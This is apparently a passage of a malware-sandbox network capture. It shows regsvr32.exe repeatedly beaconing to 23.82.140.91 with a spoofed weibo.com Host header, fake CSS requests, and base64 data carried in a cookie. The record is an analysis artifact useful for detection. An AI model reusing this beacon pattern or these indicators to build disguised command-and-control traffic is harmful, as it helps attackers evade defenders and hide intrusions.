125 192.168.2.6 49974 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:09:40 UTC 1327 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Y3BsZGVvZ3BmamtpaWxwbGtwbWhlZ2NoaG9hZW9rZGtnanBpb2VnYmJlYmxqaW9hY29hbW
ZjYmNvY2FkZm9ubGtiaGVpZmFicGxiY2xkZm9kZ2tmbWphY2VsbWdkYm1uZmJhZ21na2duZWlna2RkbGlpZ2hsaW1t
b2hkbWZpamVjZ2hvZ2ZtZGpiYW1ubm9rZWNpaGljbG1hYWFjYW9tZWNtZ3BhZWZpbGptZWVwa2tlbWNoY2ZlZGlqaG
FnZmtqb2dlaGdrYmVjamRlam5ub2FoY2pka2lkZ2prZWtlb2prbmptYmFsY2lwZ2FtZGVub2ptZGppaWRrbW5nZGZvZw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:09:40 UTC 1328 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:09:40 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:09:40 UTC 1328 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

126 192.168.2.6 49975 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:09:40 UTC 1328 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Z2xtY29oYmhra2NqbWxpbWpiaWRlaXBnYmplbmlkZGVnb29tY25vaWZraGNsY2lsZ29vcG
psYnBocGRlZGNhaWtkY2ppYmdnb2xsbm9sZ2RkZmZvamRhY2JkbG5jbmlua2ljZWlvYmJubmFkbWFrYmJmaGxjZW1t
ZnBia3BuZmVkYmtrbWZraWJjbGZnYmpwZmdlYmpjamZmamxqcGNvamlsaGFrZ2RoaGFibW9lbWFwZXBtYWtuaG5qYm
NibXBjbWdla2dmaWdlb2JnZ2pnZWVpYWhqcHBwYWJmbmlvamNqYm9rZmxwZ2lobWFka2thb2xvamVrZG
NmbmZkbWduaA==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:09:40 UTC 1330 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:09:40 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:09:40 UTC 1330 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

127 192.168.2.6 49977 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:09:41 UTC 1332 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=ZGtpbGZrZnBuY25jYWNhZWFvZ2VqZ2htaWNuY2xlbmxrY2phaWhlb2RsZGNhb25va2djZW
5wZmJpaWxicGJjaWphYmtubGpqaWhrbG5jZmNubWxqbmtjbmhtaGFmbGNrYmJjYWJjaGpwaG5nbm5raG1va2pnYWNj
bW1jbnBnZWZpaWhmampkaWppZ2Fub21pY25raGVhcGVwbG1sa2tubmZja2ZlaGtkbWNiam5tYnBobWtwY2ZuamVkYW
FnaGNkbW1wcHBuZ2NmbGpoa29hY2xvZGJpY2psaGxvcGFmb2lrYm1vZWpibWVuZmlnZm1oZGdob2VpZG
5nbWpsaGFsYQ==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:09:42 UTC 1333 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:09:42 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:09:42 UTC 1333 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

128 192.168.2.6 49978 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:09:42 UTC 1335 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=aGZkb2xjZmhhZmpqamFkZW1ubGhmb25vbW9oY2xjYWliYmhrZmJqaWhkb2VwcGFqZGhiZW
5hYm5laWhtaGdtaWZkb2Vsb2ZsbWNqZmZjaGZjbGJwZWFqcGFmZm5kZWZmamxjaWxtYnBua25jaWxtb2Rtb2JrcGxj
Z25lZWdla25vbWtkamRmZ25jYnBpZGljaGpoZmNpbWljYW5oa2hva2ljYWtvbWpmZmNhZWxoZ25uZWZpbmhkZG9jbm
hla2FmY2tnbXBva2VsbG9samFlbm9jcGhsa2lla2VnbWdmZG5vZWJpZGxiZGptcGdobWJnY2lwZmlqb2Njb2NqbmFpaw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:09:42 UTC 1335 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:09:42 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:09:42 UTC 1335 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

129 192.168.2.6 49979 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:09:45 UTC 1337 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Y3BsZGVvZ3BmamtpaWxwbGtwbWhlZ2NoaG9hZW9rZGtnanBpb2VnYmJlYmxqaW9hY29hbW
ZjYmNvY2FkZm9ubGtiaGVpZmFicGxiY2xkZm9kZ2tmbWphY2VsbWdkYm1uZmJhZ21na2duZWlna2RkbGlpZ2hsaW1t
b2hkbWZpamVjZ2hvZ2ZtZGpiYW1ubm9rZWNpaGljbG1hYWFjYW9tZWNtZ3BhZWZpbGptZWVwa2tlbWNoY2ZlZGlqaG
FnZmtqb2dlaGdrYmVjamRlam5ub2FoY2pka2lkZ2prZWtlb2prbmptYmFsY2lwZ2FtZGVub2ptZGppaWRrbW5nZGZvZw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:09:46 UTC 1338 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:09:46 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:09:46 UTC 1338 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

13 192.168.2.6 49774 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:07:22 UTC 1046 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=ZGtpbGZrZnBuY25jYWNhZWFvZ2VqZ2htaWNuY2xlbmxrY2phaWhlb2RsZGNhb25va2djZW
5wZmJpaWxicGJjaWphYmtubGpqaWhrbG5jZmNubWxqbmtjbmhtaGFmbGNrYmJjYWJjaGpwaG5nbm5raG1va2pnYWNj
bW1jbnBnZWZpaWhmampkaWppZ2Fub21pY25raGVhcGVwbG1sa2tubmZja2ZlaGtkbWNiam5tYnBobWtwY2ZuamVkYW
FnaGNkbW1wcHBuZ2NmbGpoa29hY2xvZGJpY2psaGxvcGFmb2lrYm1vZWpibWVuZmlnZm1oZGdob2VpZG
5nbWpsaGFsYQ==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:07:22 UTC 1047 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:07:22 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:07:22 UTC 1047 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

130 192.168.2.6 49980 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:09:46 UTC 1340 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Z2xtY29oYmhra2NqbWxpbWpiaWRlaXBnYmplbmlkZGVnb29tY25vaWZraGNsY2lsZ29vcG
psYnBocGRlZGNhaWtkY2ppYmdnb2xsbm9sZ2RkZmZvamRhY2JkbG5jbmlua2ljZWlvYmJubmFkbWFrYmJmaGxjZW1t
ZnBia3BuZmVkYmtrbWZraWJjbGZnYmpwZmdlYmpjamZmamxqcGNvamlsaGFrZ2RoaGFibW9lbWFwZXBtYWtuaG5qYm
NibXBjbWdla2dmaWdlb2JnZ2pnZWVpYWhqcHBwYWJmbmlvamNqYm9rZmxwZ2lobWFka2thb2xvamVrZG
NmbmZkbWduaA==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:09:46 UTC 1340 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:09:46 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:09:46 UTC 1340 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

131 192.168.2.6 49981 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:09:46 UTC 1342 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=aGZkb2xjZmhhZmpqamFkZW1ubGhmb25vbW9oY2xjYWliYmhrZmJqaWhkb2VwcGFqZGhiZW
5hYm5laWhtaGdtaWZkb2Vsb2ZsbWNqZmZjaGZjbGJwZWFqcGFmZm5kZWZmamxjaWxtYnBua25jaWxtb2Rtb2JrcGxj
Z25lZWdla25vbWtkamRmZ25jYnBpZGljaGpoZmNpbWljYW5oa2hva2ljYWtvbWpmZmNhZWxoZ25uZWZpbmhkZG9jbm
hla2FmY2tnbXBva2VsbG9samFlbm9jcGhsa2lla2VnbWdmZG5vZWJpZGxiZGptcGdobWJnY2lwZmlqb2Njb2NqbmFpaw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:09:47 UTC 1343 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:09:47 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:09:47 UTC 1343 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

132 192.168.2.6 49982 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:09:47 UTC 1345 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=ZGtpbGZrZnBuY25jYWNhZWFvZ2VqZ2htaWNuY2xlbmxrY2phaWhlb2RsZGNhb25va2djZW
5wZmJpaWxicGJjaWphYmtubGpqaWhrbG5jZmNubWxqbmtjbmhtaGFmbGNrYmJjYWJjaGpwaG5nbm5raG1va2pnYWNj
bW1jbnBnZWZpaWhmampkaWppZ2Fub21pY25raGVhcGVwbG1sa2tubmZja2ZlaGtkbWNiam5tYnBobWtwY2ZuamVkYW
FnaGNkbW1wcHBuZ2NmbGpoa29hY2xvZGJpY2psaGxvcGFmb2lrYm1vZWpibWVuZmlnZm1oZGdob2VpZG
5nbWpsaGFsYQ==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:09:47 UTC 1345 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:09:47 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:09:47 UTC 1345 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

133 192.168.2.6 49983 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:09:49 UTC 1347 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Y3BsZGVvZ3BmamtpaWxwbGtwbWhlZ2NoaG9hZW9rZGtnanBpb2VnYmJlYmxqaW9hY29hbW
ZjYmNvY2FkZm9ubGtiaGVpZmFicGxiY2xkZm9kZ2tmbWphY2VsbWdkYm1uZmJhZ21na2duZWlna2RkbGlpZ2hsaW1t
b2hkbWZpamVjZ2hvZ2ZtZGpiYW1ubm9rZWNpaGljbG1hYWFjYW9tZWNtZ3BhZWZpbGptZWVwa2tlbWNoY2ZlZGlqaG
FnZmtqb2dlaGdrYmVjamRlam5ub2FoY2pka2lkZ2prZWtlb2prbmptYmFsY2lwZ2FtZGVub2ptZGppaWRrbW5nZGZvZw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:09:49 UTC 1348 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:09:49 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:09:49 UTC 1348 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7
